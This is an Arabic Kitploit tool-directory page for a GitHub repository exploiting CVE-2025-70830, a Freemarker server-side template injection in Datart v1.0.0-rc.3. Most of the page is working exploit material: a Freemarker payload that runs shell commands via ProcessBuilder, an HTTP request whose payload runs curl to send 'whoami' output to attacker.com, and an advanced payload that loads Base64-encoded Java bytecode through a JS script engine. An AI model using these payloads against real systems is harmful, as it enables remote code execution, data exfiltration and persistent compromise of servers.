Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-70830 — يوجد ثغرة أمنية من نوع حقن القوالب من جانب الخادم (SSTI) في محرك قوالب Freemarker في Datart الإصدار v1.0.0-rc.3، والتي تسمح للمهاجمين المصادق عليهم بتنفيذ تعليمات برمجية عشوائية عبر حقن بناء جملة قالب Freemarker مُصمم خصيصًا في حقل البرنامج النصي SQL. | Kitploit
أدوات/GitHubGitHub/xiaoxiaoranxxx/cve-2025-70830
تحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويباختبار الاختراقتطوير الحمولات
GitHubxiaoxiaoranxxx/cve-2025-70830

CVE-2025-70830

يوجد ثغرة أمنية من نوع حقن القوالب من جانب الخادم (SSTI) في محرك قوالب Freemarker في Datart الإصدار v1.0.0-rc.3، والتي تسمح للمهاجمين المصادق عليهم بتنفيذ تعليمات برمجية عشوائية عبر حقن بناء جملة قالب Freemarker مُصمم خصيصًا في حقل البرنامج النصي SQL.

عرض المستودع
52منذ 6 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2025-70830: حقن القالب من جانب الخادم في Datart (SSTI)

نظرة عامة على الثغرة (Overview)

  • معرف CVE: CVE-2025-70830
  • المنتج المتأثر: Datart
  • الإصدار المتأثر: v1.0.0-rc.3
  • نوع الثغرة: Server-Side Template Injection (SSTI) - حقن القالب من جانب الخادم
  • مستوى الخطورة: Remote Code Execution (RCE)

وصف الثغرة (Description)

يحتوي محرك القوالب Freemarker في الإصدار v1.0.0-rc.3 من Datart على ثغرة حقن القالب من جانب الخادم (SSTI). يمكن للمهاجم المصادق عليه تنفيذ تعليمات برمجية عشوائية على النظام عن طريق حقن بناء جملة قوالب Freemarker خبيثة في حقل سكربت SQL.

خطوات إعادة الإنتاج (Proof of Concept)

1. المتطلبات الأساسية

  • تسجيل الدخول إلى نظام Datart.
  • القدرة على الوصول إلى مصدر بيانات (Data Source) مزوّد بوظيفة تنفيذ SQL وتعديله.

2. إنشاء الحمولة (Payload)

في محرر سكربت/استعلام SQL (SQL script/query editor)، أدخل حمولة Freemarker التالية لتنفيذ أوامر النظام (مثل id أو calc):

root@kitploit:~
<#assign ob="freemarker.template.utility.ObjectConstructor"?new()>
<#assign pb=ob("java.lang.ProcessBuilder",["bash","-c","id"])>
${pb.start()}
SELECT 1

انقر على تنفيذ السكربت، وسيقوم الخادم بتنفيذ الأمر في الخلفية.

3. مثال على طلب HTTP

حزمة الطلب التي تستغل الثغرة عبر API هي كما يلي:

root@kitploit:~
POST /api/v1/data-provider/execute/test HTTP/1.1
Host: target.com:8080
Content-Type: application/json
Authorization: Bearer {VALID_TOKEN}

{
  "sourceId": "valid_source_id",
  "script": "<#assign ob=\"freemarker.template.utility.ObjectConstructor\"?new()><#assign pb=ob(\"java.lang.ProcessBuilder\",[\"bash\",\"-c\",\"curl http://attacker.com/`whoami`\"])>${pb.start()}SELECT 1",
  "scriptType": "SQL",
  "size": 100
}

استغلال متقدم (Advanced Exploitation)

تحميل بايت كود مخصص (Load Custom Bytecode)

يمكن للمهاجم استخدام javax.script.ScriptEngineManager في Java لاستدعاء محرك JS لتحميل وتنفيذ أي بايت كود Java مشفّر بـ Base64.

مثال على الحمولة:

root@kitploit:~
POST /api/v1/data-provider/execute/test HTTP/1.1
Host: target.com:8080
Content-Type: application/json
Authorization: Bearer {VALID_TOKEN}

{
  "script": "<#assign ob='freemarker.template.utility.ObjectConstructor'?new()><#assign sem=ob('javax.script.ScriptEngineManager')><#assign engine=sem.getEngineByName('js')><#assign result=engine.eval('var classLoader=java.lang.Thread.currentThread().getContextClassLoader();var className=\"org.apache.shiro.coyote.deserialization.impl.UnwrappedPropertyHandler\";var base64Str=\"yv66..\";try{classLoader.loadClass(className).newInstance()}catch(e){var clsString=classLoader.loadClass(\"java.lang.String\");var bytecode;try{var clsBase64=classLoader.loadClass(\"java.util.Base64\");var clsDecoder=classLoader.loadClass(\"java.util.Base64$Decoder\");var decoder=clsBase64.getMethod(\"getDecoder\").invoke(null);bytecode=clsDecoder.getMethod(\"decode\",clsString).invoke(decoder,base64Str)}catch(ee){try{var datatypeConverterClz=classLoader.loadClass(\"javax.xml.bind.DatatypeConverter\");bytecode=datatypeConverterClz.getMethod(\"parseBase64Binary\",clsString).invoke(null,base64Str)}catch(eee){var clazz1=classLoader.loadClass(\"sun.misc.BASE64Decoder\");bytecode=clazz1.newInstance().decodeBuffer(base64Str)}}var clsClassLoader=classLoader.loadClass(\"java.lang.ClassLoader\");var clsByteArray=(new java.lang.String(\"a\").getBytes().getClass());var clsInt=java.lang.Integer.TYPE;var defineClass=clsClassLoader.getDeclaredMethod(\"defineClass\",[clsByteArray,clsInt,clsInt]);defineClass.setAccessible(true);var clazz=defineClass.invoke(classLoader,bytecode,new java.lang.Integer(0),new java.lang.Integer(bytecode.length));clazz.newInstance()}')>SELECT 1",
  "sourceId": "valid_source_id",
  "size": 1000,
  "scriptType": "SQL",
  "columns": "",
  "variables": []
}
تنزيل الأداة